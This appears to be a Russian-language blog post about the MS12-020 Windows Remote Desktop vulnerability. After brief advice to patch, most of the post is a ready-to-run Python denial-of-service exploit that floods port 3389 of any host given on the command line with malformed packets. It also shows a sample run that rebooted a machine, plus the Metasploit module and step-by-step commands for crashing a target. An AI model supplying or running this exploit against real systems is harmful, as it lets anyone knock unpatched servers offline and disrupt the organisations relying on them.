Новая брешь в защите Windows.

Прошли слухи о появлении рабочего эксплойта.
Рабочий эксплойт?!
Рабочий эксплойт?!

Кому бояться? Всем у кого включено удаленное управление по RDP (исключение RDP с проверкой подлинности на уровне сети).
Что делать? Обновляться!!! Это можно сделать в ручную тут.
Для желающих проверить свою систему на прочность есть следующий код на Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# ms12-020 smaller
# I reduced the needed payload to DOS, the crashed is caused by buf2
# bp RDPWD!NM_Disconnect // crash is after this
# 
# freenode #ms12-020
 
import socket
import sys
import time
 
#init
buf0 = "030000130ee000000000000100080000000000".decode('hex') 
#MCS: Connection-initial
buf1 = "030001d602f0807f658201940401010401010101ff30190204000000000204000000020204000000000204000000010204000000000204000000010202ffff020400000002301902040000000102040000000102040000000102040000000102040000000002040000000102020420020400000002301c0202ffff0202fc170202ffff0204000000010204000000000204000000010202ffff02040000000204820133000500147c0001812a000800100001c00044756361811c01c0d800040008008002e00101ca03aa09040000ce0e000048004f005300540000000000000000000000000000000000000000000000000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ca010000000000100007000100300030003000300030002d003000300030002d0030003000300030003000300030002d003000300030003000300000000000000000000000000000000000000000000000000004c00c000d0000000000000002c00c001b0000000000000003c02c0003000000726470647200000000008080636c6970726472000000a0c0726470736e640000000000c0".decode('hex')
#payload
buf2 = "0300000802f08028".decode('hex')
 
package = buf0+buf1+buf2
 
HOST = sys.argv[1]
PORT = 3389
for i in range(10000):
 print i
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(3)
 s.connect((HOST,PORT))
 try:
  s.send(package)
  rec = s.recv(1024)
 except:
  pass
 s.close()
Запускаем с бука и видим что наш домашний компьютер благополучно перезагрузился:
1
2
3
4
5
6
7
8
9
chelaxe@chellaptop:~$ python exploit/ms12-020.py 192.168.84.51
0
1
2
Traceback (most recent call last):
  File "exploit/ms12-020.py", line 26, in <module>
    s.connect((HOST,PORT))
  File "<string>", line 1, in connect
socket.timeout: timed out
Появление рабочего эксплойта весьма усугубит состояние безопасности многих предприятий, особенно использующих Windows XP и Windows Server 2003
Весьма подробная статья появилась на Habrahabr.
Metasploit FrameWork v4.3.0 появился код для отказа в обслуживании:
1
2
3
4
5
6
7
8
9
10
11
12
       Name: MS12-002 Microsoft Remote Desktop Use-After-Free DoS
     Module: auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    Version: 0
    License: Metasploit Framework License (BSD)
       Rank: Normal
 
Description:
  This module exploits the MS12-002 RDP vulnerability originally 
  discovered and reported by Luigi Auriemma. The flaw can be found in 
  the way the T.125 ConnectMCSPDU packet is handled in the 
  maxChannelIDs field, which will result an invalid pointer being 
  used, therefore causing a denial-of-service condition.
Использовать так:
1
2
3
4
5
6
7
8
9
10
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids 
msf  auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.0.1
RHOST => 192.168.0.1
msf  auxiliary(ms12_020_maxchannelids) > exploit 
 
[*] 192.168.0.1:3389 - Sending MS12-002 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.0.1:3389 - 210 bytes sent
[*] 192.168.0.1:3389 - Checking RDP status...
[*] 192.168.0.1:3389 is still up
[*] Auxiliary module execution 

Комментарии

Популярные сообщения из этого блога

S.M.A.R.T. (часть 3). Расшифровка и понимание SMART атрибутов

S.M.A.R.T. (часть 2). Мониторинг BBU RAID контроллеров

Работаем с RAID в Debian на HP Proliant DL580